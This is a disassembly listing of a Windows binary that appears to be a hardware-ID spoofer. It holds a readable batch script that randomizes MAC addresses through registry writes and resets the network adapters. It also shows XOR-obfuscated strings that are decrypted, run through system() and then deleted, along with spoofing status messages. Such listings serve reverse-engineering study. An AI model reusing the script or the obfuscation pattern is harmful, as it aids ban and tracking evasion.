mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4970], rax
movabs rax, 0x56f72adb53cd07ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4978], rax
movabs rax, 0x365d2fe067d6b23f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4980], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4988], rax
vmovdqu ymm0, ymmword [rbp + 0x5280]
vpxor ymm1, ymm0, ymmword [rbp + 0x4940]
vmovdqa ymmword [rbp + 0x5280], ymm1
vmovdqu ymm0, ymmword [rbp + 0x52a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4960]
vmovdqa ymmword [rbp + 0x52a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x52c0]
vxorps xmm0, xmm0, xmmword [rbp + 0x4980]
vmovdqa xmmword [rbp + 0x52c0], xmm0
lea rdx, [rbp + 0x5280]
lea rcx, [rbp + 0x2fc0]
vzeroupper
call fcn.1400734e0
nop
mov r8d, 0x813
lea rdx, str._ECHO_OFF_r_n_SETLOCAL_ENABLEDELAYEDEXPANSION_r_n_SETLOCAL_ENABLEEXTENSIONS_r_n_r_n_::Generate_and_implement_a_random_MAC_address_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_CALL_:MAC_r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_NetworkAddress__t_REG_SZ__d__MAC____f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Disable_power_saving_mode_for_network_adapters_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_PnPCapabilities__t_REG_DWORD__d_24__f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Reset_NIC_adapters_so_the_new_MAC_address_is_implemented_and_the_power_saving_mode_is_disabled._r_n_FOR__F__tokens2_delims__skip2____a_IN___wmic_nic_where__netconnectionid_like_____get_netconnectionid_netconnectionstatus__format:csv___DO___r_n_netsh_interface_set_interface_name___a__disable__NUL_2_NUL_r_n_netsh_interface_set_interface_name___a__enable__NUL_2_NUL_r_n___r_n_r_n_GOTO_:EOF_r_n_:MAC_r_n_::Generates_semi_random_value_of_a_length_according_to_the__if__COUNT____line__minus_one__and_from_the_characters_in_the_GEN_variable_r_n_SET_COUNT0_r_n_SET_GENABCDEF0123456789_r_n_SET_GEN226AE_r_n_SET_MAC_r_n_:MACLOOP_r_n_SET__a_COUNT1_r_n_SET_RND_random__r_n_::__n__where_the_value_of_n_is_the_number_of_characters_in_the_GEN_variable_minus_one.__So_if_you_have_15_characters_in_GEN__set_the_number_as_14_r_n_SET__A_RNDRND__16_r_n_SET_RNDGEN_GEN:_RND__1__r_n_SET__A_RND2RND__4_r_n_SET_RNDGEN2_GEN2:_RND2__1__r_n_IF___COUNT____EQU__2___SET_MAC_MAC__RNDGEN2___ELSE__SET_MAC_MAC__RNDGEN___r_n_IF__COUNT___LEQ_11_GOTO_MACLOOP
lea rcx, [rbp + 0x2fc0]
call fcn.140041bd0
nop
lea rcx, [rbp + 0x2fc0]
call fcn.140073470
xor eax, eax
mov byte [rbp + 0x132], al
lea rdx, [rbp + 0x3064]
lea rcx, [rbp + 0x132]
call fcn.140072210
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14006bdd0
mov r8d, r14d
cmp r12d, 2
jl 0x14006bd92
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14006bca1
cmp r8d, 0x23
jge 0x14006bdd0
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x14006bda0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x133], al
lea rdx, [rbp + 0x3087]
lea rcx, [rbp + 0x133]
call fcn.140072210
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14006bf50
mov r8d, r14d
cmp r12d, 2
jl 0x14006bf11
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14006be20
cmp r8d, 0x23
jge 0x14006bf50
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x14006bf20
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [0x140387193], 0
cmp byte [0x14038e96c], 0
je 0x14006c419
xor eax, eax
mov byte [rbp + 0x134], al
lea rdx, [rbp + 0x45b0]
lea rcx, [rbp + 0x134]
call fcn.140072240
mov r10, rax
cmp word [rax + 0x48], 0
je 0x14006c0e4
mov r8d, r14d
cmp r12d, 2
jl 0x14006c0a7
mov rcx, rax
movdqa xmm4, xmmword [0x14014e2d0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x14006bfb0
cmp r8d, 0x25
jge 0x14006c0e4
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x25
jl 0x14006c0b0
mov rdx, r10
lea rcx, [rbp + 0x2fe0]
call fcn.1400734e0
nop
mov r8d, 0x60a00
lea rdx, [0x1402fd090]
lea rcx, [rbp + 0x2fe0]
call fcn.140041bd0
nop
lea rcx, [rbp + 0x2fe0]
call fcn.140073470
xor eax, eax
mov byte [rbp + 0x135], al
lea rdx, [rbp + 0x31a8]
lea rcx, [rbp + 0x135]
call fcn.140072290
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14006c290
mov r8d, r14d
cmp r12d, 2
jl 0x14006c251
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14006c160
cmp r8d, 0x25
jge 0x14006c290
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14006c260
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x136], al
lea rdx, [rbp + 0x31cd]
lea rcx, [rbp + 0x136]
call fcn.140072290
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14006c410
mov r8d, r14d
cmp r12d, 2
jl 0x14006c3d1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14006c2e0
cmp r8d, 0x25
jge 0x14006c410
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14006c3e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x14038e7a0], 0xd
movaps xmm12, xmm14
movss dword [rbp + 0x170], xmm14
jmp 0x14006c43f
cmp dword [0x14038e7a0], 0xd
jne 0x14006c8a7
cmp byte [0x1403870cd], 0
je 0x14006c45c
lea rcx, str.shutdown__r__t_7__c__Applying_Spoofing__Changes__Algorithms_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x1403870cd], 0
call fcn.140008720
movss xmm2, dword [rax + 0x10]
mulss xmm2, dword [0x14014dfc4]
cmp dword [0x14038e7a0], 0xd
jne 0x14006c481
movss xmm1, dword [0x14014e07c]
jmp 0x14006c485
movaps xmm1, xmm14
movss xmm0, dword [0x14038e968]
call fcn.140074410
movss dword [0x14038e968], xmm0
call fcn.140012a00
mov rdi, rax
movss xmm1, dword [0x14014df44]
lea rcx, [0x14038ea38]
call fcn.140004750
mov ebx, eax
movss xmm6, dword [0x14038e968]
movsd xmm0, qword [0x140387188]
movsd qword [rbp + 0x988], xmm0
movss xmm7, dword [0x14014dfb0]
movaps xmm2, xmm7
lea rdx, [rbp + 0x988]
lea rcx, [rbp + 0x990]
call fcn.14003dbb0
mov r8, rax
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x998]
call fcn.14003dbd0
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], 0x64
mov r9d, ebx
movaps xmm2, xmm6
mov rdx, rax
mov rcx, rdi
call fcn.140023d50
call fcn.140012a00
mov rdi, rax
movss xmm1, dword [0x14014df60]
lea rcx, [0x14038ea38]
call fcn.140004750
mov ebx, eax
movss xmm6, dword [0x14038e968]
mulss xmm6, xmm7
movsd xmm0, qword [0x140387188]
movsd qword [rbp + 0x9a0], xmm0
movaps xmm2, xmm7
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x9a8]
call fcn.14003dbb0
mov r8, rax
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x9b0]
call fcn.14003dbd0
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], 0x64
mov r9d, ebx
movaps xmm2, xmm6
mov rdx, rax
mov rcx, rdi
call fcn.140023d50
call fcn.140012a00
mov rdi, rax
movss xmm1, dword [0x14014df94]
lea rcx, [0x14038ea38]
call fcn.140004750
mov ebx, eax
movss xmm6, dword [0x14038e968]
mulss xmm6, dword [0x14014dfc4]
movsd xmm0, qword [0x140387188]
movsd qword [rbp + 0x9b8], xmm0
movaps xmm2, xmm7
lea rdx, [rbp + 0x9b8]
lea rcx, [rbp + 0x9c0]
call fcn.14003dbb0
mov r8, rax
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x9c8]
call fcn.14003dbd0
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], 0x64
mov r9d, ebx
movaps xmm2, xmm6
mov rdx, rax
mov rcx, rdi
call fcn.140023d50
call fcn.140012a00
mov rdi, rax
movss xmm1, dword [0x14014df94]
lea rcx, [0x14038ea38]
call fcn.140004750
mov ebx, eax
movss xmm6, dword [0x14038e968]
mulss xmm6, dword [0x14014dfcc]
movsd xmm0, qword [0x140387188]
movsd qword [rbp + 0x9d0], xmm0
movaps xmm2, xmm7
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x9d8]
call fcn.14003dbb0
mov r8, rax
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x9e0]
call fcn.14003dbd0
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], 0x64
mov r9d, ebx
movaps xmm2, xmm6
mov rdx, rax
mov rcx, rdi
call fcn.140023d50
call fcn.140012a00
mov rsi, rax
movss xmm1, dword [0x14014df94]
lea rcx, [0x14038ea38]
call fcn.140004750
mov edi, eax
movss xmm6, dword [0x14014e00c]
movaps xmm2, xmm6
movaps xmm1, xmm14
lea rcx, [rbp + 0x9e8]
call fcn.1400014d0
mov rbx, rax
movss xmm0, dword [0x14014e18c]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Machine_Virtualized_Succesfully_
lea rcx, [rbp + 0x9f0]
call fcn.14000ba60
movsd xmm0, qword [0x140387188]
movsd qword [rbp + 0x9f8], xmm0
mov r8, rax
lea rdx, [rbp + 0x9f8]
lea rcx, [rbp + 0xa00]
call fcn.14003dc00
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xa08]
call fcn.14003dc00
mov rdx, rax
movaps xmm2, xmm7
lea rcx, [rbp + 0xa10]
call fcn.14003dbb0
mov r8, rax
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0xa18]
call fcn.14003dbd0
mov qword [rsp + 0x20], r14
lea r9, str.Machine_Virtualized_Succesfully_
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.140023f70
call fcn.140012a00
mov rsi, rax
movss xmm1, dword [0x14014df44]
lea rcx, [0x14038ea38]
call fcn.140004750
mov edi, eax
movaps xmm2, xmm6
movaps xmm1, xmm14
lea rcx, [rbp + 0xa20]
call fcn.1400014d0
mov rbx, rax
movss xmm0, dword [0x14014e18c]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Restart_PC_To_Apply_Changes
lea rcx, [rbp + 0xa28]
call fcn.14000ba60
movsd xmm0, qword [0x140387188]
movsd qword [rbp + 0xa30], xmm0
mov r8, rax
lea rdx, [rbp + 0xa30]
lea rcx, [rbp + 0xa38]
call fcn.14003dc00
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xa40]
call fcn.14003dbd0
mov rdx, rax
movaps xmm2, xmm7
lea rcx, [rbp + 0xa48]
call fcn.14003dbb0
mov r8, rax
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0xa50]
call fcn.14003dbd0
mov qword [rsp + 0x20], r14
lea r9, str.Restart_PC_To_Apply_Changes
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.140023f70
movss xmm0, dword [0x14038e968]
comiss xmm0, dword [0x14014e078]
jbe 0x14006c8a7
mov dword [0x14038e968], 0
call fcn.140011600
call fcn.14000b640
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f70], xmm0
mov rcx, qword [0x14038e958]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x14038e940]
mov edi, 1
mov edx, edi
call qword [rax + 0x108]
mov rcx, qword [0x14038e958]
mov rax, qword [rcx]
lea r8, [rbp + 0x1f70]
mov rdx, qword [0x14038e940]
call qword [rax + 0x190]
call fcn.140008760
mov rcx, rax
call fcn.140039850
mov rcx, qword [0x14038e948]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, edi
call qword [rax + 0x40]
movss xmm7, dword [0x14014e010]
mov ebx, dword [rbp + 0x16c]
mov rsi, qword [rbp + 0x1a0]
jmp 0x140046d13